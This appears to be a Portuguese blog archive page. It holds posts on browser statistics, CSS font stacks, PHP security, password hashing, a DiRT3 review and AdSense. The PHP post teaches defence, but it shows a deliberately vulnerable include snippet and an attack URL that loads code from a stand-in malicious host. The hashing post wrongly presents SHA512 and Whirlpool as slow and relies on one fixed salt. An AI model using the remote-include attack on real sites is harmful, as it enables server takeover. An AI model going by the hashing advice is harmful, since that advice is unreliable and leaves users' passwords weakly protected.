Os hábitos de navegação dos portugueses mudaram pouco no segundo trimestre deste ano. As grandes novidades são mesmo os upgrades das versões dos mesmos produtos como a passagem do Windows XP para o Windows 7.

Browsers

Nos browsers existiram poucas alterações, continuando o Internet Explorer com mais de 50% do mercado e a perder alguns utilizadores para o Google Chrome.

No Opera, Chrome e Firefox as versões com mais utilizadores são sempre as últimas, fruto das actualizações automáticas destes browsers que garantem assim uma melhor experiência na Web. Os developers agradecem.

No Internet Explorer, a versão 8 continua a ser a mais usada com 65% do total de utilizadores deste browser. No entanto a versão 9 com suporte a algumas características de HTML5 e CSS3 já conta com mais utilizadores que o total da versão 6 e 7.

Sistemas Operativos

Nos sistemas operativos o Windows continua a dominar. A grande novidade é que a versão 7 do Windows está apenas a 1 ponto percentual do XP. Possivelmente no próximo trimestre esta já será a versão do Windows mais utilizada o que irá ajudar a massificar a utilização do Internet Explorer 9.

Resoluções

Nas resoluções não existem diferenças notórias, com a resolução 1024×768 a perder utilizadores lentamente.

Na maioria dos websites o que mais salta à vista é a fonte utilizada para o seu conteúdo. Uma boa fonte pode ser a diferença entre cativar um leitor ou perder uma visita porque torna o nosso conteúdo desinteressante.

Mas será que utilizamos as nossas fontes correctamente?

Existe um conjunto de fontes ou tipos de letra que são considerados seguros para utilizar na Web. Fontes como o Verdana, Tahoma e Arial podem ser usados com confiança pelos developers.

No entanto vamos desenvolver o nosso website e vamos usar aquela fonte bem gira que temos no nosso PC mas quando visualizamos o site noutro computador nada aparece de forma correcta. Temos duas opções, ou embebemos a fonte ou fornecemos uma alternativa.

Fontes embebidas – @font-face

Com o CSS3 finalmente vai passar a ser possível embeber fontes de uma forma funcional a todos os browsers. O Internet Explorer 5 já permitia isto, mas com código especifico da Microsoft como é hábito.

Desde que a fonte permita ser embebida podemos usar a mesma no nosso site. Um bom local para obter este tipo de fontes é o Google Web Fonts.

Esta é uma forma de garantir que o nosso design em termos tipográficos é semelhante em todas as máquinas, tenham o tipo de letra ou não. O problema é que em certas fontes isto implica descarregar até 200KB de informação e isto não faz sentido para um site generalista, talvez para um portfolio ou mesmo um blog pessoal como este.

Fontes alternativas – CSS Font Stacks

Um font stack é uma lista de fontes que são utilizadas caso o computador de quem nos visita não tenha a fonte inicial que definimos. Um exemplo definido pelo Dreamweaver:

1. div { font-family: Verdana, Geneva, sans-serif }

Se o utilizador não tiver a fonte Verdana instalada irá visualizar o site com a fonte Geneva. Se também não tiver esta fonte o conteúdo é apresentado pela fonte padrão do sistema operativo do tipo sans-serif.

Mas para definirmos fontes alternativas temos que saber que outro tipo de fontes semelhantes existem. O site Typetester é uma óptima ferramenta para esta função, colocando 3 blocos de texto lado a lado permitindo assim escolher várias fontes e comparar o tamanho e aspecto ocupado por cada uma.

Já sabemos as fontes semelhantes, mas será que elas estão disponíveis em todos os sistemas? Mais de 92% dos utilizadores na web usam Windows, o que facilita o trabalho, mas não nos podemos esquecer dos restantes 8%. E é necessário ter em conta que diferentes sites têm diferentes públicos e um site dedicado a Mac ou Linux certamente terá mais visitas destes sistemas operativos.

E aqui entra outra ferramenta, ou melhor um conjunto delas fornecido pelo site Code Style. Aqui podem submeter as fontes que têm instaladas para estatística, visualizar a disponibilidade das fontes em vários sistemas operativos e até criar font stacks com a indicação da percentagem de utilizadores com aquela fonte disponível.

Com estas duas ferramentas podemos por exemplo criar a alternativa ao código anterior fornecido pelo Dreamweaver com o seguinte:

1. div { font-family: Verdana, Geneva, "Lucida Sans", "DejaVu Sans", sans-serif }

O Verdana será visualizado por 99% dos utilizadores com Windows e Mac e por 70% dos utilizadores com Linux. O Geneva será visualizado por uma minoria com Mac e as fontes Lucida Sans e DejaVu Sans serão utilizadas pelos restantes 30% dos utilizadores em Linux.

Fontes e dispositivos móveis

Para dispositivos móveis a história é outra. No caso do Android navega-se com Droid Sans e mesmo o Opera Mini limita o tipo de fontes utilizado. Aqui as fontes são optimizadas para pequenos ecrãs e embora o resultado a nível estético não seja o melhor o texto fica legível de uma forma agradável.

Os programadores de PHP têm má fama pelos erros que fizeram no passado. Até eu já programei de forma incorrecta. Mas o PHP 4 está morto e enterrado e o PHP 5.2 já lá vai.

Está na altura de mudarmos os nossos métodos e programarmos PHP com segurança em mente.

Já partilhei anteriormente umas dicas para tornar o nosso código devidamente formatado a pensar no futuro, agora partilho algumas dicas de segurança.

Com a quantidade de código que me passa pelas mãos e pelo contacto com alguns “programadores” o que percebo é que a segurança é da responsabilidade do servidor e nunca do programador. Uma firewall serve para bloquear IP’s e portas e o Mod Security é uma solução de último recurso e não deve ser utilizada como método de protecção.

O servidor onde possuem o vosso código é vosso? Têm controle sobre a sua configuração ou estão dependentes de um ISP num alojamento partilhado?

Quem programa à espera que um servidor seja seguro facilmente é atacado, especialmente quando não têm conhecimento das configurações e alterações efectuadas.

Exemplo de injecção de código

Ora, vamos supor que eu tenho um site com o seguinte código:

1
2
3
4
5

<?php
  include $_GET['pagina'] . '.php';
?>

Tudo muito inocente. Se eu aceder a site.com/index.php?pagina=contacto vou incluir o ficheiro contacto.php. Mas se o servidor onde me encontro tiver a opção allow_url_fopen activa isto é uma porta aberta a ataques.

Basta aceder a site.com/index.php?pagina=http://www.sitemalicioso.com/hack.php? e o vosso site está agora a correr o meu código e eu fiquei com acesso ao servidor.

Podem dizer que o allow_url_fopen é perigoso e devia ser desactivado, mas falham completamente o ponto. O código não é seguro.

A solução passa por criar uma whitelist com os nomes dos ficheiros que permitimos que sejam incluídos (por exemplo num Array ou numa base de dados) e uma verificação através de um RegEx que apenas permita caracteres alfanuméricos. Podemos até usar um simples switch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

<?php
  // Definimos a página inicial

  $pagina = 'homepage';

  // Se existir um pedido $_GET['pagina'] verificamos a whitelist

  if ( isset($_GET['pagina']) ) {

    switch ($_GET['pagina']) {
      case 'contacto':
        $pagina = 'contacto';
        break;
      case 'quemsomos':
        $pagina = 'quemsomos';
        break;
    }

  }

  // Inclui o ficheiro

  include $pagina . '.php';
?>

Tudo o que é indicado pelo utilizador é perigoso

Todo o conteúdo submetido ao nosso script através de GET ou POST é e deve ser considerado perigoso. De boas intenções está o mundo cheio, já diz o provérbio, e com os utilizadores de um site aplica-se a mesma coisa.

Os ataques de injecção ao MySQL existem por isso mesmo, excesso de confiança. Lá apareceram funções para servirem como soluções rápidas, mas os programadores preguiçosos usaram isto como solução definitiva e deixam a segurança nas mãos de terceiros. Um bom exemplo é a opção magic_quotes que quando desactivada deixa um script aberto a injecções porque está mal programado.

Felizmente apareceu o mysql_real_escape_string que veio facilitar a vida a quem não sabe usar um addslashes e com o PDO então é uma maravilha fazer a validação de campos de forma rápida e eficiente.

Se controlamos tudo o que pode ser alterado pelo utilizador (inclusive links) é meio caminho andado para manter a nossa aplicação segura contra ataques comuns e worms ou trojans que se mantêm activos pela web à procura destas falhas.

Manter o nosso código seguro

Sempre que estamos a programar devemos perguntar a nós próprios: Um utilizador consegue alterar os dados aqui presentes? Será que este método é seguro?

E se vamos usar uma nova funcionalidade devemos procurar se existem possíveis falhas de segurança que possam advir da sua má utilização, os chamados pitfalls.

Não devemos também colocar uma solução online sem a tentar atacar primeiro. Como é que eu sei que um método de segurança funciona se não o tento ultrapassar?

E não pensem que isto serve apenas para utilizadores avançados porque não têm conhecimentos sobre este tema. Uma rápida pesquisa pelo Google vai encontrar milhões de exemplos de código seguro e funções para evitar ataques ao vosso código. Basta copiar alguns exemplos, testar localmente e adaptar às vossas necessidades e mesmo o manual do PHP vai ajudar nestas situações.

Ultimamente tem-se falado muito nos ataques a bases de dados e na divulgação de dados pessoais. Nenhuma aplicação é imune, mas será que pelo menos dificultam a vida aos hackers quando ficam com a vossa base de dados?

Tem-me passado muito código pelas mãos que está mal executado, mas o que realmente me faz confusão são as palavra-passe em texto (plain-text) guardadas numa base de dados.

É engraçado abrir o phpMyAdmin e ver que a palavra-passe do admin é password123 em vez de 482c811da5d5b4bc6d497ffa98491e38 por exemplo.

E nós como utilizadores conseguimos saber se uma palavra-passe está a ser guardada localmente, basta fazer a recuperação de password e consultar se o texto devolvido é o mesmo que colocamos anteriormente.

Encriptação

Quando guardamos uma palavra-passe numa base de dados nunca guardamos a palavra-passe em si mas uma hash que corresponde à palavra-passe. Mas depois não sei a pass ou tenho que a decriptar pensam vocês. Nada disto é necessário.

Quando um utilizador se autentica no vosso website o que fazemos é encriptar o texto que o utilizador colocou e comparar a hash resultante com a hash que temos na nossa base de dados. Devemos usar uma hash que apenas permita a encriptação como o SHA512 ou o Whirlpool. O MD5 e o SHA1 não são aconselhados por serem rápidos a criar a hash, um computador pode resolver uma password com 6 caracteres numa questão de horas. Ao contrário de tudo o resto, ao criar uma hash quanto mais lento, melhor!

Desta forma se o vosso website for atacado e base de dados for obtida por um hacker ele apenas vai ter acesso a um monte de hash’s, mas isso não quer dizer que o nosso conteúdo esteja protegido.

Rainbow Tables e Salt

Existem listas, chamadas Rainbow Tables, de hash’s encriptadas que permitem efectuar uma pesquisa pela hash e obter o valor a que corresponde. Se numa Rainbow Table procurarmos por 482c811da5d5b4bc6d497ffa98491e38 possivelmente vamos obter o resultado password123.

Estas tabelas usam principalmente palavras comuns, disponíveis no dicionário e se não obrigamos os nossos utilizadores a colocar palavras-passe complexas estamos em risco. A maneira de resolver esta situação é aplicar Salt (Sal, literalmente).

Os utilizadores são preguiçosos e não ligam a segurança. Uma password para eles deve ser simples. É má prática, mas se não fazemos nada contra isso podemos criar mecanismos de protecção. Um deles, na encriptação de palavras-passe é a utilização de Salt.

Vamos supor que o utilizador tem password123 definida mas em vez de encriptarmos este valor adicionamos Salt ao inicio da password e encriptamos a password como fe#S7password123. A nossa hash vai ser totalmente diferente e uma Rainbow Table muito dificilmente terá este valor. O nosso Salt é então fe#S7 e devemos usar o mesmo quando o utilizador fizer a sua autenticação.

Espero que não seja necessário dizer isto, mas o Salt deve sempre ser guardado server-side, não coloquem o Salt num input de um formulário. Mas de qualquer forma aqui fica um exemplo:

1
2
3
4
5
6
7
8
9

<?php
  define( 'SALT', 'fe#S7' );
  $password = 'password123';
  $hash = hash( 'sha512', SALT . $password );
?>

O Salt está pré-definido no servidor, a variável $password é fornecida pelo utilizador e no final encriptamos ambos os valores para obter uma hash com Salt.

Isto já é consideravelmente seguro, mas podemos fazer melhor. No meu exemplo estou a usar um Salt pequeno, este deve ser maior. Podemos também aplicar mais Salt no meio de uma password ou no final para a tornar mais complexa. Também podemos alterar a hash retornada e aplicar também Salt nesse valor. Mas esta opção já é complexa e necessita de valores aleatórios para cada password, caso contrário ao olharmos para 5 hash’s facilmente verificamos qual é o Salt utilizado.

Encriptação online de palavras-chave

Fujam a sete pés de sites que criam hash’s online. Nem todos são maliciosos mas muitos usam os valores colocados pelos utilizadores para popular Rainbow Tables, criando um precedente para que a vossa palavra-passe seja insegura no caso de um ataque a um site onde estejam registados e seja usada a encriptação sem Salt.

Se querem testar hash’s devem sempre criar o vosso script e não ficar dependente de serviços de terceiros pois nunca sabemos o que é efectuado com os nossos dados.

Programar com segurança em mente

Espero que esta entrada no blog vos faça repensar como programam e guardam os dados dos utilizadores em base de dados.

Se programam mal e são atacados o problema é vosso, mas se dados de terceiros são perdidos por falta de atenção a estes detalhes então já estamos a por em causa a segurança dos outros.

Para fazer uma pausa do TDU2 comprei o DiRT3. Após ler algumas reviews e ver alguns vídeos no Youtube pensei que este seria um bom jogo de rally. Afinal enganaram-me!

O primeiro jogo que comprei para PC (que ainda o tenho na caixa original) foi o Network Q RAC Rally Championship, isto em 97 ou 98 com o fantástico Impreza na capa e com a voz de Tony Mason como co-piloto. Já na Saturn o Sega Rally foi o primeiro jogo que veio com a consola quando a comprei.

Mas sendo um petrolhead é normal que me agarre a jogos de carros. E a Codemasters tem bastante experiência em jogos de carros, não nos podemos esquecer dos TOCA e do fantástico GRiD. Mas as coisas correram mal com o DiRT 2 com modos de jogo um pouco enfadonhos que são mais apreciados pelos jogadores da terra dos muscle cars.

Ora, pelas reviews dava ideia que o jogo era só rally com um pouquinho de nonsense dos X-Games e a treta do Gymkhana e do Ken Block.

No inicio realmente era assim, mas começou cada vez mais a ser X-Games, Gymkhana e cada vez menos rally. O resultado é que joguei pouco mais de 18 horas e já me fartei do jogo

O jogo tem pontos positivos, a banda sonora é fantástica e o modo Gymkhana até é interessante durante os primeiros 5 minutos, mas como jogo de rally deixa muito a desejar.

A conclusão que tiro daqui é que quem anda a fazer reviews a jogos de carros não gosta muito de conduzir. Já no último NFS Hot Pursuit em nenhuma review que li se queixavam que o jogo não deixava jogar com caixa manual. Acho que me devo dedicar ao Test Drive Unlimited ou então comprar uma PS3 para jogar GranTurismo.

Descobri que o telemóvel do saguim no filme Rio corre Android Procurei pelo conteúdo da SMS que apareceu por breves segundos no filme e encontrei um ambiente gráfico muito familiar

Até um saguim sabe o que é bom, mas uma coisa é certa, não deve ter o Angry Birds Rio instalado Parece é que os saguins roubaram um telemóvel ainda com o Android 2.2 porque a barra no topo é branca, mas são macacos não se pode pedir muito.

Se ainda não viram o filme e gostam destes filmes de animação aconselho, está giro, e o Tracy Morgan a fazer a voz de cão está de partir o coco a rir.

Escrevi no ano passado sobre a nova interface do Adsense e que grande parte das alterações que fizeram não faziam sentido para quem lá fazia dinheiro.

Finalmente as coisas mudaram e agora sim posso usar a nova interface.

Agora sim, ao entrar no Adsense temos acesso à informação que realmente interessa. O total feito no dia corrente, o total do dia anterior, o total do mês passado e o total do mês corrente.

Para mim estas são as métricas que mais consulto, assim como o total diário por canal, embora agora esta fique a mais 1 clique de distancia.

Para ajudar também existe agora um interface Mobile que funciona perfeitamente no Opera Mini e no browser nativo do Android e que dá todas estas informações de uma forma bastante simples.